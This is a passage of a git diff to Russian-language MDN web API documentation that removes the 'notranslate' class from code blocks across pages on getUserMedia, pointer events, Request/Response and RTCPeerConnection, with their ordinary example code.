Web/API/MediaDevices/getUserMedia <p>Обычно, разработчик получает доступ к единственному экземпляру объекта {{domxref("MediaDevices")}} , используя {{domxref("navigator.mediaDevices.getUserMedia()")}} метод, возвращающий поток:</p> -<pre class="brush: js notranslate">async function getMedia(constraints) { +<pre class="brush: js">async function getMedia(constraints) { let stream = null; try { @@ -29,7 +29,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>Тот же результат, но используя тип промиса :</p> -<pre class="brush: js notranslate">navigator.mediaDevices.getUserMedia(constraints) +<pre class="brush: js">navigator.mediaDevices.getUserMedia(constraints) .then(function(stream) { /* используем поток */ }) @@ -43,7 +43,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <var>promise</var> = navigator.mediaDevices.getUserMedia(<var>constraints</var>); +<pre class="syntaxbox">var <var>promise</var> = navigator.mediaDevices.getUserMedia(<var>constraints</var>); </pre> <h3 id="Параметры">Параметры</h3> @@ -57,13 +57,13 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>Следующий отрывок кода запрашивает и <code>audio</code> и <code>video</code><strong> </strong>типы без дополнительных условий:</p> - <pre class="brush: js notranslate">{ audio: true, video: true }</pre> + <pre class="brush: js">{ audio: true, video: true }</pre> <p>Если определяется значение <code>true</code> для медиатипа, результирующий поток обязательно будет иметь в себе запрошенный медиатип. Если ни один из типов не включается в запрос, вызов метода <code>getUserMedia()</code> приведёт к ошибке.</p> <p>Если полная информация о камерах и микрофонах пользователя недоступна по причинам конфиденциальности, приложение может запросить доступ только к необходимым ему функциям, используя дополнительные условия. Следующий пример запрашивает видеотрек с разрешением камеры 1280x720 пикселей:</p> - <pre class="brush: js notranslate">{ + <pre class="brush: js">{ audio: true, video: { width: 1280, height: 720 } }</pre> @@ -72,7 +72,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>Для минимального, максимального и точного определения значения можно использовать ключевые слова <code>min</code>, <code>max</code>, или <code>exac</code>. Следующий пример запрашивает минимальное разрешение камеры 1280x720:</p> - <pre class="brush: js notranslate">{ + <pre class="brush: js">{ audio: true, video: { width: { min: 1280 }, @@ -84,7 +84,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>Различие поведения происходит по причине того, что ключевые слова <code>min</code>, <code>max</code>, и <code>exact</code> являются обязательными к выполнению. В то время как простые значения и ключевое слово <code>ideal</code> - не обязательные к выполнению. Ниже, полный пример:</p> - <pre class="brush: js notranslate">{ + <pre class="brush: js">{ audio: true, video: { width: { min: 1024, ideal: 1280, max: 1920 }, @@ -96,7 +96,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>Простые значения работают как идеальные, поэтому один из первых примеров выше можно переписать, используя свойство <code>ideal </code>:</p> - <pre class="brush: js notranslate">{ + <pre class="brush: js">{ audio: true, video: { width: { ideal: 1280 }, @@ -106,19 +106,19 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>Не все значения ограничений являются числовыми. К примеру, на мобильных устройствах следующий отрывок будет запрашивать переднюю камеру (если присутствует) , поэтому в свойстве <code>facingMode</code> указано строковое значение <code>user</code>:</p> - <pre class="brush: js notranslate">{ audio: true, video: { facingMode: "user" } }</pre> + <pre class="brush: js">{ audio: true, video: { facingMode: "user" } }</pre> <p>Запрос обратной (задней) камеры:</p> - <pre class="brush: js notranslate">{ audio: true, video: { facingMode: { exact: "environment" } } }</pre> + <pre class="brush: js">{ audio: true, video: { facingMode: { exact: "environment" } } }</pre> <p>Следующее строковое свойство - <code>deviceId</code> (идентификатор устройства). Его значение может быть получено из метода {{domxref("mediaDevices.enumerateDevices()")}}, возвращающего список, имеющихся на машине устройств, с их идентификаторами, и может быть использовано для запроса определённого устройства по идентификатору этого устройства:</p> - <pre class="brush: js notranslate">{ video: { deviceId: идентификаторНужнойКамеры } }</pre> + <pre class="brush: js">{ video: { deviceId: идентификаторНужнойКамеры } }</pre> <p>Код выше вернёт запрашиваемую камеру или другую камеру, если требуемая камера недоступна. Для получения доступа к потоку только определённой камеры, без альтернативы, используется свойство <code>exact</code> (точно) :</p> - <pre class="brush: js notranslate">{ video: { deviceId: { exact: идентификаторНужнойКамеры } } }</pre> + <pre class="brush: js">{ video: { deviceId: { exact: идентификаторНужнойКамеры } } }</pre> </dd> </dl> @@ -188,15 +188,15 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>К примеру, строка HTTP заголовка позволит использовать камеру документу и любым встроенные {{HTMLElement("iframe")}} элементам, которые загружаются из одного источника:</p> -<pre class="notranslate">Feature-Policy: camera 'self'</pre> +<pre>Feature-Policy: camera 'self'</pre> <p>Строка ниже, запрашивает доступ к микрофону для текущего источника и указанном в заголовке источнике <code>https://developer.mozilla.org</code>:</p> -<pre class="notranslate">Feature-Policy: microphone 'self' https://developer.mozilla.org</pre> +<pre>Feature-Policy: microphone 'self' https://developer.mozilla.org</pre> <p>Если используется <code>getUserMedia()</code> внутри элемента <code><iframe></code>, можно запросить разрешение только для этого фрейма, которое явно более безопаснее, чем запрашивать более общее разрешение. Здесь нам нужно использовать и камеру и микрофон:</p> -<pre class="brush: html notranslate"><iframe src="https://mycode.example.net/etc" allow="camera;microphone"> +<pre class="brush: html"><iframe src="https://mycode.example.net/etc" allow="camera;microphone"> </iframe></pre> <p>Прочитайте наше руководство <a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Применение функциональной политики </a>, изучив подробнее то, как это работает.</p> @@ -221,7 +221,7 @@ translation_of: Web/API/MediaDevices/getUserMedia <p>Этот пример выбирает указанное разрешение камеры и присваивает ссылку на объект {{domxref("MediaStream")}} свойству <code>srcObject</code> элемента <code>video</code> .</p> -<pre class="brush: js notranslate">// Выбирает разрешение камеры близкое к 1280x720. +<pre class="brush: js">// Выбирает разрешение камеры близкое к 1280x720. var constraints = { audio: true, video: { width: 1280, height: 720 } }; navigator.mediaDevices.getUserMedia(constraints) @@ -239,7 +239,7 @@ navigator.mediaDevices.getUserMedia(constraints) <p>Ниже, находятся примеры, использующие <code>navigator.mediaDevices.getUserMedia()</code>, с полифилами для работы в старых браузерах. Обратите внимание, что эти полифилы не корректируют все различия в синтаксисе, и не работают во всех браузерах. Рекомендуется использовать библиотеку <a href="https://github.com/webrtc/adapter">adapter.js</a> , как производственный полифил.</p> -<pre class="brush: js notranslate">// Старые браузеры могут не реализовывать свойство mediaDevices, +<pre class="brush: js">// Старые браузеры могут не реализовывать свойство mediaDevices, // поэтому сначала присваиваем свойству ссылку на пустой объект if (navigator.mediaDevices === undefined) { @@ -296,14 +296,14 @@ navigator.mediaDevices.getUserMedia({ audio: true, video: true }) <p>В некоторых случаях может быть желательна более низкая частота кадров, например, при передаче WebRTC с ограничениями полосы пропускания</p> -<pre class="brush: js notranslate">var constraints = { video: { frameRate: { ideal: 10, max: 15 } } }; +<pre class="brush: js">var constraints = { video: { frameRate: { ideal: 10, max: 15 } } }; </pre> <h3 id="Передняя_и_задняя_камеры">Передняя и задняя камеры</h3> <p>На мобильных устройствах.</p> -<pre class="brush: js notranslate">var front = false; +<pre class="brush: js">var front = false; document.getElementById('flip-button').onclick = function() { front = !front; }; var constraints = { video: { facingMode: (front? "user" : "environment") } }; diff --git a/files/ru/web/api/mediatrackconstraints/echocancellation/index.html b/files/ru/web/api/mediatrackconstraints/echocancellation/index.html index 478f66dcf1..33ea4c5fb1 100644 --- a/files/ru/web/api/mediatrackconstraints/echocancellation/index.html +++ b/files/ru/web/api/mediatrackconstraints/echocancellation/index.html @@ -25,7 +25,7 @@ original_slug: Web/API/MediaTrackConstraints/Эхоподавление <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">const <em>constraintsObject</em> = { +<pre class="syntaxbox">const <em>constraintsObject</em> = { echoCancellation: <em>constraint,</em> }; diff --git a/files/ru/web/api/mouseevent/button/index.html b/files/ru/web/api/mouseevent/button/index.html index 96335d7b92..92dcf05573 100644 --- a/files/ru/web/api/mouseevent/button/index.html +++ b/files/ru/web/api/mouseevent/button/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/MouseEvent/button <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>buttonPressed</em> = <em>instanceOfMouseEvent</em>.button +<pre class="syntaxbox">var <em>buttonPressed</em> = <em>instanceOfMouseEvent</em>.button </pre> <h3 id="Возвращаемые_значения">Возвращаемые значения</h3> @@ -36,7 +36,7 @@ translation_of: Web/API/MouseEvent/button <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate"><script> +<pre class="brush: js"><script> var whichButton = function (e) { // Handle different event models var e = e || window.event; diff --git a/files/ru/web/api/mouseevent/ctrlkey/index.html b/files/ru/web/api/mouseevent/ctrlkey/index.html index 7c2844f4a7..d25c7af786 100644 --- a/files/ru/web/api/mouseevent/ctrlkey/index.html +++ b/files/ru/web/api/mouseevent/ctrlkey/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/MouseEvent/ctrlKey <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>ctrlKeyPressed</em> = <em>instanceOfMouseEvent</em>.ctrlKey +<pre class="syntaxbox">var <em>ctrlKeyPressed</em> = <em>instanceOfMouseEvent</em>.ctrlKey </pre> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> @@ -18,7 +18,7 @@ translation_of: Web/API/MouseEvent/ctrlKey <h2 id="Example">Пример</h2> -<pre class="brush: js notranslate"><html> +<pre class="brush: js"><html> <head> <title>Пример с ctrlKey</title> diff --git a/files/ru/web/api/navigator/getusermedia/index.html b/files/ru/web/api/navigator/getusermedia/index.html index 3bd6f9e60f..664d4832e0 100644 --- a/files/ru/web/api/navigator/getusermedia/index.html +++ b/files/ru/web/api/navigator/getusermedia/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Navigator/getUserMedia <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">navigator.getUserMedia(<var>constraints</var>, <var>successCallback</var>, <var>errorCallback</var>);</pre> +<pre class="syntaxbox">navigator.getUserMedia(<var>constraints</var>, <var>successCallback</var>, <var>errorCallback</var>);</pre> <h3 id="Параметры">Параметры</h3> @@ -24,7 +24,7 @@ translation_of: Web/API/Navigator/getUserMedia <dd>{{domxref("MediaStreamConstraints")}} <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>объект, определяющий типы запрашиваемых медиа, а также любые требования для каждого типа.</span></span> <span class="ChMk0b JLqJ4b"><span>Подробнее см. В разделе ограничений современного метода {{domxref ("MediaDevices.getUserMedia ()")}}, а также в статье</span></span></span> <a href="/en-US/docs/Web/API/Media_Streams_API/Constraints">Возможности, ограничения и настройки.</a></dd> <dt><code><var>successCallback</var></code></dt> <dd><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Функция, которая вызывается при утверждении запроса на доступ к мультимедиа.</span></span> <span class="ChMk0b JLqJ4b"><span>Функция вызывается с одним параметром: объектом {{domxref ("MediaStream")}}, который содержит медиапоток.</span></span> <span class="ChMk0b JLqJ4b"><span>Затем колбэк может назначить поток желаемому объекту (например, элементу {{HTMLElement ("audio")}} или {{HTMLElement ("video")}}), как показано в следующем примере:</span></span></span> - <pre class="brush: js notranslate">function(stream) { + <pre class="brush: js">function(stream) { var video = document.querySelector('video'); video.srcObject = stream; video.onloadedmetadata = function(e) { @@ -50,7 +50,7 @@ translation_of: Web/API/Navigator/getUserMedia <p>Это пример использования <code>getUserMedia()</code> <span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>, включая код для работы с префиксами различных браузеров.</span></span> <span class="ChMk0b JLqJ4b"><span>Обратите внимание, что это устаревший способ сделать это: современные примеры см. В разделе «Примеры» в разделе {{domxref ("MediaDevices.getUserMedia ()")}}.</span></span></span></p> -<pre class="brush: js notranslate">navigator.getUserMedia = navigator.getUserMedia || +<pre class="brush: js">navigator.getUserMedia = navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia; @@ -76,7 +76,7 @@ if (navigator.getUserMedia) { <p class="syntaxbox"><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span>Чтобы использовать</span></span></span><code>getUserMedia()</code><span class="VIiyi" lang="ru"><span class="ChMk0b JLqJ4b"><span><code> </code>в устанавливаемом приложении (например, приложении Firefox OS), вам необходимо указать одно или оба из следующих полей внутри файла манифеста:</span></span></span></p> -<pre class="brush: js notranslate">"permissions": { +<pre class="brush: js">"permissions": { "audio-capture": { "description": "Required to capture audio using getUserMedia()" }, diff --git a/files/ru/web/api/navigator/mediadevices/index.html b/files/ru/web/api/navigator/mediadevices/index.html index 308c1a8450..7cf343c970 100644 --- a/files/ru/web/api/navigator/mediadevices/index.html +++ b/files/ru/web/api/navigator/mediadevices/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/Navigator/mediaDevices <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>mediaDevices</em> = navigator.mediaDevices; +<pre class="syntaxbox">var <em>mediaDevices</em> = navigator.mediaDevices; </pre> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> diff --git a/files/ru/web/api/network_information_api/index.html b/files/ru/web/api/network_information_api/index.html index ca66acea26..808ca544f1 100644 --- a/files/ru/web/api/network_information_api/index.html +++ b/files/ru/web/api/network_information_api/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Network_Information_API <p>Данный пример отслеживает изменение подключения пользователя.</p> -<pre class="brush: js notranslate">var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection; +<pre class="brush: js">var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection; var type = connection.effectiveType; function updateConnectionStatus() { @@ -30,7 +30,7 @@ connection.addEventListener('change', updateConnectionStatus); <p>The connection object is useful for deciding whether to preload resources that take large amounts of bandwidth or memory. This example would be called soon after page load to check for a connection type where preloading a video may not be desirable. If a cellular connection is found, then the <code>preloadVideo</code> flag is set to false. For simplicity and clarity, this example only tests for one connection type. A real-world use case would likely use a switch statement or some other method to check all of the possible values of {{domxref("NetworkInformation.type")}}. Regardless of the <code>type</code> value you can get an estimate of connection speed through the {{domxref("NetworkInformation.effectiveType")}} property.</p> -<pre class="brush: js notranslate">let preloadVideo = true; +<pre class="brush: js">let preloadVideo = true; var connection = navigator.connection || navigator.mozConnection || navigator.webkitConnection; if (connection) { if (connection.effectiveType === 'slow-2g') { diff --git a/files/ru/web/api/node/appendchild/index.html b/files/ru/web/api/node/appendchild/index.html index ee3bde8fce..c36bb32af5 100644 --- a/files/ru/web/api/node/appendchild/index.html +++ b/files/ru/web/api/node/appendchild/index.html @@ -24,7 +24,7 @@ translation_of: Web/API/Node/appendChild <h2 id="Syntax">Синтаксис</h2> -<pre class="syntaxbox notranslate">var child = <em>element</em>.appendChild(<em>child</em>);</pre> +<pre class="syntaxbox">var child = <em>element</em>.appendChild(<em>child</em>);</pre> <ul> <li><code>element</code> родительский <a href="/en-US/docs/DOM/element" title="/en-US/docs/DOM/element">элемент</a>.</li> @@ -39,13 +39,13 @@ translation_of: Web/API/Node/appendChild <p>Цепочка может работать не так, как ожидалось, из-за того, что <code>appendChild()</code> возвращает дочерний элемент:</p> -<pre class="brush: js notranslate">let aBlock = document.createElement('block').appendChild( document.createElement('b') );</pre> +<pre class="brush: js">let aBlock = document.createElement('block').appendChild( document.createElement('b') );</pre> <p>Присваивает переменной <code>aBlock</code> элемент <code><b></b></code>, а не <code><block></block></code>, как вы могли ожидать.</p> <h2 id="Example">Пример</h2> -<pre class="brush:js notranslate">// Создаём новый элемент параграфа, и вставляем в конец document body +<pre class="brush:js">// Создаём новый элемент параграфа, и вставляем в конец document body var p = document.createElement("p"); document.body.appendChild(p);</pre> diff --git a/files/ru/web/api/page_visibility_api/index.html b/files/ru/web/api/page_visibility_api/index.html index 3ac365ba5d..c0b75b5670 100644 --- a/files/ru/web/api/page_visibility_api/index.html +++ b/files/ru/web/api/page_visibility_api/index.html @@ -71,7 +71,7 @@ original_slug: Web/API/Видимость_страницы_API <p>The example, which pauses the video when you switch to another tab and plays again when you return to its tab, was created with the following code:</p> -<pre class="brush: js notranslate">// Set the name of the hidden property and the change event for visibility +<pre class="brush: js">// Set the name of the hidden property and the change event for visibility var hidden, visibilityChange; if (typeof document.hidden !== "undefined") { // Opera 12.10 and Firefox 18 and later support hidden = "hidden"; @@ -145,7 +145,7 @@ if (typeof document.addEventListener === "undefined" || hidden === undefined) { <dd>An {{domxref("EventListener")}} providing the code to be called when the {{event("visibilitychange")}} event is fired.</dd> </dl> -<pre class="brush: js notranslate">//startSimulation and pauseSimulation defined elsewhere +<pre class="brush: js">//startSimulation and pauseSimulation defined elsewhere function handleVisibilityChange() { if (document.hidden) { pauseSimulation(); diff --git a/files/ru/web/api/pointer_events/index.html b/files/ru/web/api/pointer_events/index.html index 1d74bcf4aa..c6a57b7a95 100644 --- a/files/ru/web/api/pointer_events/index.html +++ b/files/ru/web/api/pointer_events/index.html @@ -160,7 +160,7 @@ translation_of: Web/API/Pointer_events <p>В этом примере определённому элементу назначаются обработчики каждого типа события.</p> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <script> function over_handler(event) { } function enter_handler(event) { } @@ -198,7 +198,7 @@ translation_of: Web/API/Pointer_events <p>Этот пример демонстрирует доступ ко всем свойствам события касания.</p> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <script> var id = -1; @@ -345,7 +345,7 @@ translation_of: Web/API/Pointer_events <p>The following example shows pointer capture being set on an element.</p> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <script> function downHandler(ev) { let el = document.getElementById("target"); @@ -366,7 +366,7 @@ translation_of: Web/API/Pointer_events <p>The following example shows a pointer capture being released (when a {{event("pointercancel")}} event occurs. The browser does this automatically when a {{event("pointerup")}} or {{event("pointercancel")}} event occurs.</p> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <script> function downHandler(ev) { let el = document.getElementById("target"); @@ -401,7 +401,7 @@ translation_of: Web/API/Pointer_events <p>In the following example, the browser's default touch behavior is disabled for the <code>div</code> element.</p> -<pre class="brush: html notranslate"><html> +<pre class="brush: html"><html> <body> <div style="touch-action:none;">Can't touch this ... </div> </body> @@ -410,14 +410,14 @@ translation_of: Web/API/Pointer_events <p>In the following example, default touch behavior is disabled for some <code>button</code> elements.</p> -<pre class="brush: css notranslate">button#tiny { +<pre class="brush: css">button#tiny { touch-action: none; } </pre> <p>In the following example, when the <code>target</code> element is touched, it will only pan in the horizontal direction.</p> -<pre class="brush: css notranslate">#target { +<pre class="brush: css">#target { touch-action: pan-x; } </pre> diff --git a/files/ru/web/api/request/index.html b/files/ru/web/api/request/index.html index 7245130a9e..ddf3cef81b 100644 --- a/files/ru/web/api/request/index.html +++ b/files/ru/web/api/request/index.html @@ -94,7 +94,7 @@ translation_of: Web/API/Request <p>In the following snippet, we create a new request using the <code>Request()</code> constructor (for an image file in the same directory as the script), then return some property values of the request:</p> -<pre class="brush: js notranslate">const request = new Request('https://www.mozilla.org/favicon.ico'); +<pre class="brush: js">const request = new Request('https://www.mozilla.org/favicon.ico'); const URL = request.url; const method = request.method; @@ -103,7 +103,7 @@ const credentials = request.credentials; <p>You could then fetch this request by passing the <code>Request</code> object in as a parameter to a {{domxref("WindowOrWorkerGlobalScope.fetch()")}} call, for example:</p> -<pre class="brush: js notranslate">fetch(request) +<pre class="brush: js">fetch(request) .then(response => response.blob()) .then(blob => { image.src = URL.createObjectURL(blob); @@ -111,7 +111,7 @@ const credentials = request.credentials; <p>In the following snippet, we create a new request using the <code>Request()</code> constructor with some initial data and body content for an api request which need a body payload:</p> -<pre class="brush: js notranslate">const request = new Request('https://example.com', {method: 'POST', body: '{"foo": "bar"}'}); +<pre class="brush: js">const request = new Request('https://example.com', {method: 'POST', body: '{"foo": "bar"}'}); const URL = request.url; const method = request.method; @@ -127,7 +127,7 @@ const bodyUsed = request.bodyUsed; <p>Вы можете получить этот запрос API, передав объект Request в качестве параметра для вызова {{domxref("WindowOrWorkerGlobalScope.fetch()")}}, например, и получить ответ:</p> -<pre class="brush: js notranslate">fetch(request) +<pre class="brush: js">fetch(request) .then(response => { if (response.status === 200) { return response.json(); diff --git a/files/ru/web/api/response/index.html b/files/ru/web/api/response/index.html index e32d4d23b9..969c6d288f 100644 --- a/files/ru/web/api/response/index.html +++ b/files/ru/web/api/response/index.html @@ -93,7 +93,7 @@ translation_of: Web/API/Response <p>You'll notice that since we are requesting an image, we need to run {{domxref("Body.blob")}} ({{domxref("Response")}} implements Body) to give the response its correct MIME type.</p> -<pre class="brush: js notranslate">const image = document.querySelector('.my-image'); +<pre class="brush: js">const image = document.querySelector('.my-image'); fetch('flowers.jpg').then(function(response) { return response.blob(); }).then(function(blob) { @@ -103,13 +103,13 @@ fetch('flowers.jpg').then(function(response) { <p>You can also use the {{domxref("Response.Response()")}} constructor to create your own custom <code>Response</code> object:</p> -<pre class="brush: js notranslate">const response = new Response();</pre> +<pre class="brush: js">const response = new Response();</pre> <h3 id="Ajax_запрос">Ajax запрос</h3> <p>Здесь мы с помощью функции doAjax вызываем PHP скрипт, который генерирует JSON строку, и возвращает распарсенный JSON в виде JavaScript объекта. Также реализована простая обработка ошибок.</p> -<pre class="brush: js notranslate">// Функция, которая делает Ajax запрос +<pre class="brush: js">// Функция, которая делает Ajax запрос const doAjax = async () => { const response = await fetch('Ajax.php'); // Генерируем объект Response if (response.ok) { diff --git a/files/ru/web/api/response/response/index.html b/files/ru/web/api/response/response/index.html index 033d5fd08b..4f5c98692b 100644 --- a/files/ru/web/api/response/response/index.html +++ b/files/ru/web/api/response/response/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/Response/Response <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <var>myResponse</var> = new Response(<var>body</var>, <var>init</var>);</pre> +<pre class="syntaxbox">var <var>myResponse</var> = new Response(<var>body</var>, <var>init</var>);</pre> <h3 id="Параметры">Параметры</h3> @@ -45,7 +45,7 @@ translation_of: Web/API/Response/Response <p>In our <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-response">Fetch Response example</a> (see <a href="http://mdn.github.io/fetch-examples/fetch-response/">Fetch Response live</a>) we create a new <code>Response</code> object using the constructor, passing it a new {{domxref("Blob")}} as a body, and an init object containing a custom <code>status</code> and <code>statusText</code>:</p> -<pre class="brush: js notranslate">var myBlob = new Blob(); +<pre class="brush: js">var myBlob = new Blob(); var init = { "status" : 200 , "statusText" : "SuperSmashingGreat!" }; var myResponse = new Response(myBlob,init);</pre> diff --git a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html index ac8aca39be..ec6d3f43cd 100644 --- a/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html +++ b/files/ru/web/api/rtcpeerconnection/cantrickleicecandidates/index.html @@ -17,7 +17,7 @@ translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"> var <em>canTrickle</em> = <em>RTCPeerConnection</em>.canTrickleIceCandidates;</pre> +<pre class="syntaxbox"> var <em>canTrickle</em> = <em>RTCPeerConnection</em>.canTrickleIceCandidates;</pre> <h3 id="Значение">Значение</h3> @@ -29,7 +29,7 @@ translation_of: Web/API/RTCPeerConnection/canTrickleIceCandidates <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">var pc = new RTCPeerConnection(); +<pre class="brush: js">var pc = new RTCPeerConnection(); // Следующий код может быть использован для обработки предложения от пира, когда // он не знает поддерживает ли он просачивание pc.setRemoteDescription(remoteOffer) diff --git a/files/ru/web/api/rtcpeerconnection/connectionstate/index.html b/files/ru/web/api/rtcpeerconnection/connectionstate/index.html index 146332e983..84a6b0ca74 100644 --- a/files/ru/web/api/rtcpeerconnection/connectionstate/index.html +++ b/files/ru/web/api/rtcpeerconnection/connectionstate/index.html @@ -11,7 +11,7 @@ translation_of: Web/API/RTCPeerConnection/connectionState <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">var <em>connectionState</em> = <em>RTCPeerConnection</em>.connectionState;</pre> +<pre class="syntaxbox">var <em>connectionState</em> = <em>RTCPeerConnection</em>.connectionState;</pre> <h3 id="Значение">Значение</h3> @@ -21,7 +21,7 @@ translation_of: Web/API/RTCPeerConnection/connectionState <h2 id="Пример">Пример</h2> -<pre class="brush: js notranslate">var pc = new RTCPeerConnection(configuration); +<pre class="brush: js">var pc = new RTCPeerConnection(configuration); /* ... */ diff --git a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html index 3b094fd432..054c4b49c5 100644 --- a/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html +++ b/files/ru/web/api/rtcpeerconnection/currentlocaldescription/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/RTCPeerConnection/currentLocalDescription <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>sessionDescription</em> = <em>RTCPeerConnection</em>.currentLocalDescription;</pre> +<pre class="syntaxbox"><em>sessionDescription</em> = <em>RTCPeerConnection</em>.currentLocalDescription;</pre> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> @@ -25,7 +25,7 @@ translation_of: Web/API/RTCPeerConnection/currentLocalDescription <p>В этом примере рассматривается свойство <code>currentLocalDescription</code> и отображается предупреждение, содержащее свойства объекта {{domxref("RTCSessionDescription")}} <code>type</code> и <code>sdp</code> .</p> -<pre class="brush: js notranslate">var pc = new RTCPeerConnection(); +<pre class="brush: js">var pc = new RTCPeerConnection(); … var sd = pc.currentLocalDescription; if (sd) { diff --git a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html index 2b6aef35ae..b03d5ecfbf 100644 --- a/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html +++ b/files/ru/web/api/rtcpeerconnection/currentremotedescription/index.html @@ -15,7 +15,7 @@ translation_of: Web/API/RTCPeerConnection/currentRemoteDescription <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate"><em>sessionDescription</em> = <em>RTCPeerConnection</em>.currentRemoteDescription;</pre> +<pre class="syntaxbox"><em>sessionDescription</em> = <em>RTCPeerConnection</em>.currentRemoteDescription;</pre> <h3 id="Возвращаемое_значение">Возвращаемое значение</h3> @@ -25,7 +25,7 @@ translation_of: Web/API/RTCPeerConnection/currentRemoteDescription <p>Пример рассматривает свойство <code>currentRemoteDescription</code> и отображает предупреждение, содержащее значения свойств <code>type</code> и <code>sdp</code> ,объекта {{domxref("RTCSessionDescription")}}.</p> -<pre class="brush: js notranslate">var pc = new RTCPeerConnection(); +<pre class="brush: js">var pc = new RTCPeerConnection(); … var sd = pc.currentRemoteDescription; if (sd) { diff --git a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html index 4cf9d46d46..781f299272 100644 --- a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html +++ b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html @@ -36,7 +36,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event <p>В основном события <code>icecandidate</code> происходят, чтобы указать, что новый кандидат был построен (gathered). Этого кандидата нужно доставить удалённому клиенту (remote peer) через канал сигнализации (signaling channel), которым управляет ваш код.</p> -<pre class="brush: js notranslate">rtcPeerConnection.onicecandidate = (event) => { +<pre class="brush: js">rtcPeerConnection.onicecandidate = (event) => { if (event.candidate) { sendCandidateToRemotePeer(event.candidate) } else { @@ -63,7 +63,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event <p>If you need to perform any special actions when there are no further candidates expected, you're much better off watching the ICE gathering state by watching for {{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}} events:</p> -<pre class="brush: js notranslate">pc.addEventListener("icegatheringstatechange", ev => { +<pre class="brush: js">pc.addEventListener("icegatheringstatechange", ev => { switch(pc.iceGatheringState) { case "new": /* gathering is either just starting or has been reset */ @@ -88,7 +88,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event <p>First, an example using {{domxref("EventTarget.addEventListener", "addEventListener()")}}:</p> -<pre class="brush: js notranslate">pc.addEventListener("icecandidate", ev => { +<pre class="brush: js">pc.addEventListener("icecandidate", ev => { if (ev.candidate) { sendMessage({ type: "new-ice-candidate", @@ -100,7 +100,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event <p>You can also set the {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}} event handler property directly:</p> -<pre class="brush: js notranslate">pc.onicecandidate = ev => { +<pre class="brush: js">pc.onicecandidate = ev => { if (ev.candidate) { sendMessage({ type: "new-ice-candidate", diff --git a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html index 2073990cd1..36609588b4 100644 --- a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html +++ b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html @@ -9,7 +9,7 @@ translation_of: Web/API/RTCPeerConnection/RTCPeerConnection <h2 id="Синтаксис">Синтаксис</h2> -<pre class="syntaxbox notranslate">pc = new RTCPeerConnection([<em>configuration</em>]);</pre> +<pre class="syntaxbox">pc = new RTCPeerConnection([<em>configuration</em>]);</pre> <h3 class="syntaxbox" id="Параметры">Параметры</h3> diff --git a/files/ru/web/api/service_worker_api/using_service_workers/index.html b/files/ru/web/api/service_worker_api/using_service_workers/index.html index 